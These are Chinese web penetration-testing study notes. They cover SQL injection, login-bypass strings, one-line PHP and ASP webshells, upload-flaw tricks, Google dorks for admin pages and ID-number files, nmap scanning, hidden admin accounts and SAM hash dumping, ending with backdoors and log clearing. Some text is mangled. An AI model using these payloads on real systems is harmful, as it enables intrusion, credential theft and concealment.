失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 网络安全技术方面渗透测试入门笔记

网络安全技术方面渗透测试入门笔记

时间:2024-03-02 21:29:54

相关推荐

网络安全技术方面渗透测试入门笔记

一、网站基础与信息收集

1、网站的基本概念

http://192.168.80.128/shownnew.asp?id=16

访问的是网站中的那个网页?

shownews.asp

这是一个静态还是动态网页?

asp脚本程序写的

静态网页:内容固定不变,文件扩展名通常为。html、.htm.shtml

动态网页:可以与后台数据库进行交互和数据库传递。同一个网页文件能工具不同的请求

显示不同的内容,根据所使用的网页语言的不同,一般asp、php、jsp、aspx等作为扩展名。

id是什么意思?

数据库里面查询的参数 16

id是网页中的一个参数,客户端通过这个参数将数据16传递给网页

网页去数据库中查找符合id=16这个条件的数据,并将之传递给客户段显示出我们所见到的页面。

这个数据库采用的后台数据库最有可能是什么?

access asp(微软)的搭档

这个网站采用的web容器最有可能是什么?

web容器主要有apache和iis(微软),asp是微软的。

常用的web服务器程序

*IIS,winsrv系统的内置组件。win中的IIS版本为6.0,win中的版本为7.0(7.5)

*apache,开源软件,主要用于Linux平台

*nginx,开源软件,主要用于liinux平台

页面语言

静态页面由html语言编写 这是一个HTML网页

这是一个段落

*动态网页主要有ASP\PHP\ASP\ASP.ENT\JSP语言编写。

ASP和PHP技术一般多用于中小型网站

和JSP一般用于大型网站

<?php echo “hello world” ?> *数据库 采用动态网页的网站,内容大多数主在数据库中,数据库通常是网站的核心组成部分。 目前通常的网络数据库主要: *Access,微软的小型数据库,主要用于小型网站,大都采用ASP+Access组合。 *Mssql,微软的大型数据库,主要用于小型网站。 *mysql,Oracle公司的中小型数据库,开源,主要用于中小型网站,大都采用PHP+MYSQL组合 *Oracle,Oracle公司的大型数据库,一般用于一些大型网站中。 *URL统一资源定位符 URL,internets上标注的资源地址表示方法,一般格式为: 协议名://主机FQDN名(IP):端口/路径 *协议名一般为HTTP协议或者FTP *端口号通常可以省略。如果使用的是HTTP协议,默认端口为80:如果使用的FTP协议,默认端口为21. *在URL中如果知道路径,则是打开一个具体的网页或者是某个具体的文件,如果路径省略 ,则打开相应网站的首页。 *传值方法 网站服务器端从客户端获取数据的方法主要有两种: *get方法,只能获取少量数据,总共不超过100个 字符。 get方法会将所传递的值附加到URL上,传值时,请求的页面与要传递的参数之间用'“?’链接: http;//192.168.80.128/shownnews.asp?id=16 若要传递多个参数,参数与参数之间用&链接 /forum.php?mod=virwthread&tid=1116837 *post方法,适合传递较多数据,入用户注册、留言本等。

*WEB环境

网页程序、数据库、web服务器程序综合在一起,就构成了一个完整的web环境

*ASP+Access+IIS

*ASP+Mssql+IIS

*php+Mysql+Apache

*PHP+Mysql+nginx

*web服务器

*虚拟主机,在一台服务器中同时运行多个网站,所有这些网站共享相同的ip地址

*服务器托管,网站采用独立服务器和独立的ip地址,这些服务器往往都是托管在ISP机房内。

2、网站信息收集

*域名与ip

*国际通用的顶级域名:net、com、org。

*国内的域名:

执行命令”ping “,可获取域名对应的ip。

*站长工具

whois查询:通过查询whois可以获得站点域名的详细信息

备案信息:只有服务器在这个境内搭建的网站才需要备案

备案信息纪念馆股票了政府部门的审核,比较真实可靠。

linux :whatweb+网站 查看网站信息

二、SQL注入漏洞的分析于利用

1、SQL语言基础

*什么是SQL注入

SQL注入的核心思想

黑客在正常的需要调用数据库的URL后面构建一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据

SQL注入漏洞是web岑面最高危的漏洞之一,曾三年在OWASP年度十大漏洞排名第一。

*基本语句

select version(); #显示当前的版本号

select user();#显示当前用户

show datebases #显示MySQL当前包含哪些数据库。

use test; #打开test数据库

show tables #显示当前数据库的表

*创建表

mysql>create table hack

->(

->id int,

->username varchar(20),

->password varchar(30)

->);

mysql>create table news

->(

->id int,

->title varchar(50)

->);

*向表中插入数据

insert into hack values(1,‘admin’,‘456’);

insert into hack values(2.‘boss’,‘123’);

insert into news values(1,'web');

*select 查询

select * from hack; #显示hack表中的记录select * from hack where id=1; #从hack表中查找满足条件id=1的记录select username,password from hack where id=1;#从hack表中查找满足条件id=1的记录,并且只显示username和password字段内容select * from hack where id=1 and username="admin";#从hack表中查询同时满足条件id=以及username=“admin”的记录select * from hack where id=1 or username="boos"select * from news where id=1 and exists (select * form hack) select * from news where id=1 and exists (select * from hack);#通过exists()函数判断hack表是否存在select * from news where id=1 and exists(select username from hack);#通过exists()函数判断hack表中是否存在username字段select * from hack order by id;#按照hack表中的id列升序排序select username,password from hack order by 2;#按照查询结果中的第二列升序排序

*union select 联合查询

union联合查询可以一次性执行两个或多个查询,并将他们的结果结合在一起输出显示。

union联合查询的基本规则:所有查询结果中列数必须相同

select * from news union select * from hack ; #字段数不匹配,查询报错select * from news union select username,password from hack;#查询正常select * from hack union select 1,id ,tittle from news: 查询正常

mysql中的注释语句

* # 单行

* “-- ”单行(–空格)

* /…*/ 多行注释

2、ACCESS手工注入

(工具:明小子 啊D)

*判断注入点

URL:http:192.168.80.128/shownews.asp?id=16SQL select * from news where id=16测试语句:(1)http://192.168.80/shownew.asp?id=16 and 1=1select * from news where id=16 and 1=1 (正常)(2) http://192.168.80.128/shownews.asp?id=16and 1=2select * from news where id=16 and 1=2(不正常)(如果先执行and1=1网页正常,后执行and1=2网页不正常 则该网页为注入点)

*猜解表名

(1) http://192.168.80.128/shownews.asp?id=16 and exists(select *from admin)select * from new where id=16 and exists(select *from admin)常见表名:admin user manager manage_user

*猜字段名

http:192.168.80.128/shownews.aspa?id=16 and union exists(select username form manage_user)select * form news where id=16 and exist(select username form mange_user)常见字段名:账号:name username user_name admin admin_user admin_username adminname 密码:password pass userpass user_pass pwd userpwd adminpwd admin_pwd

*猜字段数量

http:192.168.80.128/shownews.asp?id=16 order by 11select * from news where id=16 order by 11既可猜测字段书数量,有可以显示内容字段;http://192.168.80.128/shhownews.asp?id=16 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

*爆出字段内容

http://192.168.80.128/shownews.asp?id=16 union select1,username,password,4,5,6,7,8,9,10,11 from manage_user(用查询出来的表名代替页面显示的字段)

*寻找网站后台管理入口

http://192.168.80.128/admin网站后台管理入口一般存放在名为admin或者是manage的网站子目录下也可以在管理入口页面源代码中寻找字段名(404 没有目标,403 有目标,但是没有权限去访问)

3、Mysql5.0基础

*元数据库information_schema

在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储这用户在MySQL中创建的所有数据库信息。

在对PHP+MySQL类网站进行注入时,主要针对information_schema数据库进行操作。

*information_schema中比较重要的数据表

schemata:用于存放所有数据库的名字

tables:用于存放所有数据库的数据表的名字

columns:用于存放所有数据库的所有数据表中的所有字段的名字。

*利用information_schema查看其它数据库的内容

查看test数据库中包含了哪些表

select table_name from information_schema.tables where table_schema=“test”;

查看hack数据表中包含了哪些字段select column_name from information_schema.columns where table_name="hack" ;

4、PHP+mysql注入

实验平台 npmserv(必须放在根目录下使用)

目标网站 平台中的政法网站

常规操作

*判断可显字段

union select 1,2,3,4,5 mysql中在执行联合查询时,后面的查询语句不必要非要指定数据表名,这点区别与ACCESS

也可以:

http://192.168.82.128/info_show.php?info_id=142 and 1=2 union select 1,2,3,4,5

*爆出敏感信息

(1)爆出当前用户名和数据库名 union select 1,user(),database(),4,5

(2)爆出govcn数据库中包含的数据表

union select 1,table_name,3,4,5 from information_schema.tables where table_schema=“goven”

通过group__concat()函数可以显示字段中所有内容。

(3) 爆字段名

union select 1,coinmn_name,3,4,5 form information_schema.columns where table_name=‘admin’

(4)爆用户名和密码

uinon select 1,uesrname,password,4,5 form admin

union select 1,unhex(hex(username)),unhex(hex(password)),4 form admin

利用unhex(hex())函数进行编码转换,解决网站编码不一致导致问题。

(工具:穿山甲、胡萝卜)

5、密码绕过

目标网站:NMPserv中的政府网站,后台入口页面glzx.php

(1)验证用户名和密码的语句

select * from admin where username=‘ u s e r n a m e ′ a n d p a s s w o r d = ′ username' and password=' username′andpassword=′mpassword’

(2)绕过语句: 1'or1=1or'1'or'='or'1'OR'=1'OR'1将绕过语句带入到查询语句中select * from admin where username='1'or1=1 or'1'and password='$mpassword'

6、sqlmap的使用(要求精通)

*神器sqlmap

sqlmap是目前功能最强大的、使用最广泛的注入类工具,在SecTools工具排行榜中位居30名

sqlmap是开源软件,被集成于kail linux,官网。

*安装sqlmap

sqlmap基于python编写,需要在系统中先安装2.7版本的python 进入sqlmap目录,

执行sqlmap.py命令运行sqlmap

*windows下sqlmap使用步骤

(1)检测是否为注入点:sqlmap.py -u “http://192.168.134.134/shownews.asp?id=25”

(2)检测表名:sqlmap.py -u “http://192.168.134.134/shownews.asp?id=25” --tables

(3指定表名来猜测表里的字段):

sqlmap.py -u “http://192.168.134.134/shownews.asp?id=25” --tables --columns -T “admin”

(4)猜解字段里面的内容,得到账号密码:

sqlmap.py -u “http://192.168.134.134/shownews.asp?id=25” --dump -C “username,password” -T “admin”

*Linux下步骤同window,将Windows的“sqlmap.py”换成只有”sqlmap“。

7、cookice注入

(工具:穿山甲)

*cookie注入

*cookie

cookie用于客户端本地保存用户访问网站时的一些身份验证信息。cookie与个体和post方法一样,都可用于客户端向服务器端传递数据

*目标网站:南方数据5.0

*检测注入点(平台 python sqlmap)

(1)sqlmap.py-u "http:192.168.80.131/shownews.asp" --cookie "id=16" --level 2--level,指定探测等级sqlmap共有五个等级,默认为1级别1,探测get和post数据。级别2,探测cookie数据。。(cookie paraneter "id" is vulnerable.)说明是可注入的

*猜测表名

sqlmap.py-u "http:192.168.80.131/shownews.asp" --cookie "id=16" --level 2 --tables

*指定表名来猜测表里的字段

sqlmap.py-u "http:192.168.80.131/shownews.asp" --cookie "id=16" --level 2 --columns -T “admin”

*猜解字段里面的内容

sqlmap.py-u "http:192.168.80.131/shownews.asp" --cookie "id=16" --level 2 ---dump -C "username,password" -T "admin"

账号密码得到

三、文件上传漏洞的分析与利用

1、一句话木马的使用

*什么是Webshell

Webshall 是利用ASP或PHP等语言编写的基于Web的木马后门。通webshall可以控制web站点,包括上传下载文件。查看数据库、执行系统命令等。上传漏洞的目的:将webshell上传到目标服务器中。{net user #查看有哪些用户net user hacker 123 /add #创建一个账号net localgroup administrators hacker/add#把添加的账号变成管理员}

*一句话木马

*一句话木马,一段ASP或PHP代码,是一个小型webshall。*可以将一句话木马保存成单独的网页文件,也可以将代码插入到网站的某个asp或php网页而文件中*之后就可以通过中国菜刀这类客户端软件进行远程链接,从而控制整个网站。 *ASP<%eval request("pass")%>. #eval 是一个函数,作用是执行后面的代码。request作用是接收客户端传来的数据,pass是客户端(中国菜刀)密码*PHP<?php @eval($_POST[‘pass"]);?>

*上传漏洞最困难的地方在于:怎么能将其传到服务器里面去。

(1) 利用数据库备份上传webshell

目标网站:南方数据库5.0

大概思路:

先以图片格式上传webshell

通过数据库备份功能修改文件后缀

获取url地址,访问webshell。

(2)利用审查元素突破上传限制

修改网站中的admin\Manage_backup.asp文件,在input标签中添加属性"disabled=disabled",使其变为不可写。

~插入一句话木马

*目标网站;南方数据 5.0

在网站配置的网站标题中随意增加一些内容

网站配置信息通常保存在网页/inc/config.asp中

~利用burpsuit拦截数据包

*利用抓包上传webshell

目标网站:南方数据5.0( admin 0791idc)

大概思路:

先上传正常图片

通过抓包获得上传页面的url以及cookie

通过明小子的综合上传给你上传webshell

*神器burpsuite

burpsuit是一个强大的web攻击综合平台,位居sectool安全工具排行榜13

burpsuit 要基于Java环境运行,需要在主机中安装jre环境。

*burpsuit的主要功能

burpsuit可以将客户端与服务器之间传输数据进行拦截,然后对数据进行修改并再次发送,从而完成攻击过程

设置代理服务器

在proxy/options/listeners

*分析包头:POST /upfile_Other.asp HTTP/1.0 #采用post方法将提交的图片传送到网页upfile_Other.aspAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* #可以接受的文件上传类型Referer: http://192.168.134.130/upload_Other.asp #这个图片从那个地方传来的Accept-Language: zh-cnContent-Type: multipart/form-data; boundary=---------------------------7e41d41540124UA-CPU: x86Pragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)Host: 192.168.134.130Content-Length: 9493Cookie: LGAMTCYWSIYOHEJQIHKB=JSDEBIILHTOWPSHOETPUFSRAUKJHGBXZUNOKKQLCConnection: close

关键寻找传输图片目的地和cookie值

http://192.168.134.130/upfile_Other.asp

2、解析漏洞(主要针对web容器)

* ISS解析漏洞如果一个目录以“xxx。asp”的形式命名,那么该目录下的所有类型的文件都会被当做asp晚间解析执行。如果一个文件扩展名采用".asp;(任意内容).jpg的形式,那么该文件也会被当作asp文件解析执行。例如:ma.asp;.jpg目标网站:利用win中的iis6.0搭建网站。 *Apache解析漏洞Apache在解析文件时有一个原则:当碰见不认识的扩展名的时候,将会向从后向前解析,知道碰到认识的扩展名为止。test.php.xxApache1.x和Apache2.x中都存在解析漏洞。

3、编辑器上传漏洞

(不进入网站后台的前提下,直接找到编辑器本身提供的上传功能来上传图片)

常见的文本编辑器

常见的文本编辑器有FCKeditor、Ewebeditordeng ,它们功能类似,一般都是有图片上传、远程下载等功能

*FCKeditor编辑器漏洞

主要利用思路

通过搜索引擎等方式获值网站是否使用FCKeditor编辑器

获取或者猜测fckeditor的安装目录。

利用ISS6解析漏洞上传一句话木马或者webshal

*FCKeditor敏感信息

查看版本信息

/FCKEditor/editor/dialog/fck_about.html

/FCKeditor/_whatsnew.html

默认上传界面/FCKEdito/editor/filemanager/bowser/default/browser.html/FCKEditor/editor/filemanage/browser/default/connectors/test.html/FCKEeditor/editor/filemanage/upload/test.html/fckeditor/editor/filemanager/connectors/test.html*成功/FCKEeditor/editor/filemanage/connectors/uploadtest.html

*FCKEditor结合IIS解析漏洞实现文件上传

在win服务器上利用iss部署fackeditor,使其可上传图片

将fackeditor上传至网站主目录 C:\inetpub\wwwroot,增加internet来宾账户和users对目录的访问

并配置这两个用户组拥有读取和运行权限。

*部署配置FCKEditor

(1) 配置fckeditor支持asp

fckeditor默认只支持php,修改fckeditor/fckconfig.js文件,修改代码(271行和272行,将“php”改为“asp”)

var_FileBrowserLanguage=“php”;

var_QuickUploadLanguage="php

(2)开启文件上传功能

修改/FCKeditor/editor/filemanger/coonnectors/asp/config.asp文件

confilsenabled=false //将false改为true

(3)新建文件上传目录,并配置访问权限。

在网站根目录下创建userfiles目录,fckeditor会字段根据用户上传文件的类型(ru file\image\media…)自动创建子文件夹

配置internet来宾账户对usefiles目录具有读取、写入、运行权限。

*设置iis启动父路径(1)父路径:在程序中通过“../../”方式访问上层目录。点击网站站点-属性-主目录-配置-选项-勾选“启动父路径"。(2)设置iis支持aspweb服务扩展-设为允许* 编辑器漏洞的利用(1)查看fckeditor编辑器版本(不同版本有不同漏洞)/fckeditor/editor/dialog/fck_about.html/fckeditor/_whatsnew(2)上传页面/fckeditor/editor/filemanager/connectors/test.html编辑器上传漏洞 {关键点在于修改上传路径 Currentfolder=%2F加a.asp 新建a.asp文件夹,拦截包,修改文件夹的上层路径 再利用抓包将ma.asp上传到a.asp目录下}

4、SQL语句执行

通过mysql中的"select…into outfile语句可向网站中写入文件。

select"test"into outfile "D:/AppServ/www/test.txt’';

注意,文件路径中的分隔符是斜杠/,而不是反斜杠\

(1)入侵成功前提:

网站数据库必须是MMSQL或mysql,对于ACCESS数据库无效。

当前用户必须具有数据库管理的此操权限。

必须要获取目标网站的物理路径。

(2)SQL语句执行

目标网站:NPMserv中的政府网站

通过SQL注入结合SQL语句执行直接写入一句话木马

union select 1,2"<?php@eval($_POST['PASS'];?>,4,5 into outdile

“C:/NPMserv-10-8/NPMserv/www/test.php”

(3)利用sqlmap执行sql语句

先将一句话木马存放到本地D:\ma.php中

获取到目标网站的 物理路径 C:\NPMserv\www

--file-write参数指定文件本地路径--fil-dest参数指定目标路径sqlmap.py-u "http://192.168.80.130/info_show.php?info_id=140 --file-write"d:/ma.php' --fie-dest"C:\NPMserv/www/ma.php"

(4)查找网站根目录

*GoogleHack

site: warning

*报错信息http:///new,php?classid=2%20and%201=2*查看网站遗漏文件info.phpphpinfo.phptest.php<?phpecho phpinfo(); #echo 输出语句?>* 利用pangolin(穿山甲)的信息检测功能

5、文件上传漏洞应用总结

应用文件上传漏洞是的关键点*上传页面权限上传:必须登陆后台,才能浏览上传页面无权限上传:任何人都可以上传,只能找到上传地址。(编辑器漏洞)*上传路径文件上传之后的存储位置以及文件名,很多情况下文件上传之后会被重命新名。*上传验证客户端检测:客户端使用javascript检测,在文件未上传时,就对文件进行验证:(bp拦截修改文件名)服务器端检测:服务器脚本一般会检测文件的mime类型,检测文件扩展名是否合法#Content-type:image/jpeg 图片文件类型*上传突破如何绕过上传验证,比如解析漏洞、Burpsuite拦截包等。

四、信息探测与网络扫描

1、GoogleHack

Google是当今世界上最强大的搜索引擎

Googlehack就是利用Goole搜索引擎来辅助进行渗透测试

*如何访问Goole

修改hosts

设置代理服务器

使用翻墙软件

*常用goole关键字关键字 说明site 指定在某个网站中进行搜索intitle 搜索表题中含有关键字的网页inurl搜索url中存在关键字的网页intext 搜索正文中含有关键子的网页filetype 搜索指定文件类型 (例如 filettype:ppt web渗透)—关键字不希望搜索结果中出现包含该关键字的网页 (例如 filettype:ppt web渗透 -sebug)

(1)搜索注入点: inurl:asp?id= inurl:php?id=

*搜索敏感信息

intitle:搜索标题中含有关键字的网页

filetype:指定搜索文件类型

intitle:管理|登陆|后台 搜索标题含有”管理、登陆、后台“的网页

filetype:xls身份证 搜索包含有身份证信息的excel文档

(2)查找网站后台

site:管理,在指定的站点中搜索含有”管理“的页面。网址最好不要带上www,这样可以搜索到二级域名

site:管理|后台|登陆|用户名|密码|验证码|系统|账号

|manage|admin|login|system

site:

inurl:login|admin|manage|manager|admine_login|login_admin|system|boss|master

site: intitle:管理|后台|登陆

(4)搜索目录浏览器漏洞

目录浏览器漏洞,是由于网站服务器配置不当,导致密钥是指默认页面的目录会将其目录下的所有文档列出来

(关闭目录浏览)

搜索以下关键字:

index of

转到父目录

to prarent directory

(4)搜索敏感页面

在指定站点中寻找页面:

site: inurl:file

site: inurl:load

在指定站点中寻找编辑器页面:site: inurl:fckeditorsite: inurl:ewebeditor

(5)搜索重要文件

robost.txt告知搜索引擎,网站中哪些目录不希望被蜘蛛爬行到。

site: inurl:robots.txt(获取网站的目录结构)site: filetype:mdb(数据库文件)site: filetype:ini(网站的配置文件)site: inurl:txt(6)搜索cms网站如果发现cms存在漏洞,就可以搜索出所有通过该cms制作的网站。例如:校无忧科技

2、社会工程学

社会工程学是里人性的特点和弱点来表达到自己的目的,是一门欺骗艺术。最早在2002年有传奇何可凯文-米特里克提出。

网站信息搜集以及goolehack也属于社会工程学的范畴。

最大的楼洞并不是计算机漏洞,而是人本身。比如弱口令漏洞。

*弱口令漏洞

使用简单的字符串作为密码

多个账号使用同一个密码

site: 弱口令

*最常见的弱口令:admin、123456\11111利用生日作为密码,从1956到一共365*60=21900个生日*如何安全使用密码推荐一句话密码计算机-jisuanji不要重复使用同一个密码,尤其是设计财产的用户密码。*社工库脱库,指入侵有价值的网站站点,吧数据库全部盗走的行为洗库,黑客通过一系列手段清洗数据,并在黑市上将有价值的用户数据变现交易撞库,黑客将得到的数据在其他网站进行尝试登陆,社工库,被公开出来的用户个人信息。

3、nmap的使用(要求精通)

*网络扫描的分类

端口扫描,主要针对主机是否在线,开放了什么端口,运行了石墨服务,主机所运行的是什么操作系统。

漏洞扫描,探测分析目标是否存在相应的漏洞。

*nmap

nmap是目前最流行的端口类扫描工具,最新版本也增加了;漏洞扫描功能。

开源软件,被集成与kail,官网,建议命令行版本,需要安装目录下的vc以及winpcap。

*nmap命令语法格式

namp<扫描类型><选项><扫描目标>

(1) 常用的nmap扫描类型-sS:TCP SYN 扫描,使用最多的扫描类型;-sS:以pin方式进行扫描;(2)常用的nmap扫描选项:-v:显示扫描过程;-O:识别远程操作系统-p:指定段口,如1-65535(所有的端口)、80等(3)扫描目标221.0.90.130(IP地址)(网址)192.18.1.1-192.168.1.100(-表示扫描连续的范围 用,也可以代替-来表示连续范围)(4)nmap常用命令*nmap-sP 192.168.4.0/24 #扫描网络中存活的主机*nmap-sP 192.168.4.0/24-oG nmap.txt # 将扫描结果保存在文件中*-oG选项, #以易于检索的格式保存,即每台主机信息占据单独一行* nmap-sP192·168·4·0/24 -oG -* -oG - #选项,以易于检索的格式显示信息,而不保存成文件。* nmao -sS-p 3389,80 221.0.90.0/24-oG - | grep open* #在指定网段中扫描开放3389或者是80端口的主机,并且过滤open

*端口状态:

open,端口开放;

filtered,端口被防火墙安全软件阻止了,也可能是网络阻塞;

closed ,端口关闭

扫描开放指定端口的主机,并且显示端口状态是open的扫描结果

nmap-sS -p 3389,80 221.0.90.0/24 -oG - | grep open (linux}

nmap -sS -p 3389,80 221.0.90.0/24 -oG - | findstr open {Windows}

(linux下从桥接模式改为nat模式,自动分配ip,使其可链接网络

ifconfig eth0 down # 关闭网卡 ifconfig eth0 up #重新启动网卡 )

*namp -sS #扫描特定主机的开放端口

*nmap -sS -sV #扫描某平台特定主机的开放端口,并进行详细描述

*nmap -sS -sV -O #扫描端口,对端口进行详细描述,并进行操作系统类型

(判断网页是用什么系统,网站中的url任意字母改变大小,如果网页不变为window 变化为Linux))

(5)nmap漏洞扫描通过nmap script功能可以实现漏洞扫描在nmap安装目录下的scripts文件夹里存放了许多以".nse"后缀结尾的文本文件这些就是nmap自带的脚本引擎。使用nmap script 时,需要添加参数“--script=脚本名称”。(6)nmap常用漏洞扫描脚本*http-enum.nse 脚本扫描敏感目录。nmap -p 80 --script=http-enum.nse *http-sql-injection.nse 脚本扫描注入漏洞nmap -p 80 --script=http-sql-injection.nse (nslookup +目标网站 查看目标网站的ip域名)

4、AWVS使用

* AWVS是目前使用最为广泛的网站漏洞扫描工具,商业网站,在虚拟机中安装AWVS10

AWVS Options 选项意义

Default #所有都检测

blind SQL Injection #盲注

CSRF #跨站点请求伪造

File Upload #文件上传

*利用Burpsuite进行爬行扫描*wwwscan *御剑 善于扫描网站后台

五、系统提权与日志管理

1、Windows系统提权

* 内置用户:

Adminstrator,系统管理员账户,拥有完全控制权限

Guest,来宾账户,供访问共享资源的网络用户使用,仅具有最基本的权限,默认被禁用。

内置用户组:

Adminstratoes, 管理员组

User组,新建用户默认的所属组

Guests组,权限最低

*安装IIS之后,系统中会自动添加两个账号IUSR_*,web客户端的匿名访问账号,Guests组的成员IWAM_*,IIS应用程序的账号运行,IIS_WPG组的成员获取了webshall,其实就是获得了IUSR_*账号的使用权限。探测对于本站目录具有读写修改的权限提权的最终目的是为了获得administered组权限*net user命令(对用户进行管理)whoami #查看当前身份net user #显示当前系统存在哪些账号net user+账号 #显示账号信息(重要的信息:1.账户启用2.属于那个组)net user administrator #显示aadministrator用户信息net user test 123/add #添加一个名为test、密码为123的用户账户(密码可省略)net user test abc#将test用户密码更改为abcnet user test /del#将test用户删除net user test /active:no 将test用户禁用net user test/active:yes 将test用户禁用*net localgroup命令net localgroup administrators #显示管理员组里面的所有的成员net localgroup adminstrators test /add #将test用户加入到管理员组中net localgrouo adminstrators test /del #将test用户从管理员组中删除(mstsc #连接远程桌面)

2、提取系统密码

*SAM数据库

C:\WINDOWS\system32\cinfig\SAM

LM-Hash,win9x系统采用,安全性较差NTLM-Hash,win2000之后采用win7/之前的系统同时采用这两种方式存储密码;win7/之后的系统只采用NTLM-Hash*导出并破解系统密码Hash值GetHashes #只能获取Winxp/以下系统的用户密码Hash值Quarks PwDump支持xp//Vista/7//8/在线破解: http://www.objectif-securite.ch/en/ophcrack.php破解管理员密码:cmd.exe+pr "Gethashes.exe $local" 一步破解管理员密码

3、建立隐藏账户

*建立用户账号时,如果在用户后面加上 符号,就可以建立一个简单的隐藏账号,如“ t e s t 符号,就可以建立一个简单的隐藏账号,如“test 符号,就可以建立一个简单的隐藏账号,如“test”

在字符界面下执行net user命令,无法查看这个账号,但是在图形界面的“本地用户和组”中仍然可以看到。

*安全标识符SID(1) 系统为每个用户账号建立一个唯一的安全标识符(Security Identifier ,SID),在Windows系统内部核心是利用SID而不是账户名称来表示或识别每一个用户(2) 执行“whoami /all”命令查看系统当前用户的SID(3)SID最后一部分称为相对标识符RID(4)RID是500的SID系统内置Adminstrator账户,即使重命名,其RID仍然保持不变(5)RID为501的SID是Guest账户(6)后来新建的用户账户的RID都是从1000开始

六、web渗透的典型流程

判断脚本系统,判断数据库类型——>寻找注入点——>猜解数据表名——>猜解字段名——>猜解用户名和密码——>寻找后台地址登陆,获得网站管理权限——>上传webshell——>提权,获得服务器权限——>设置后门,清除日志。

如果觉得《网络安全技术方面渗透测试入门笔记》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。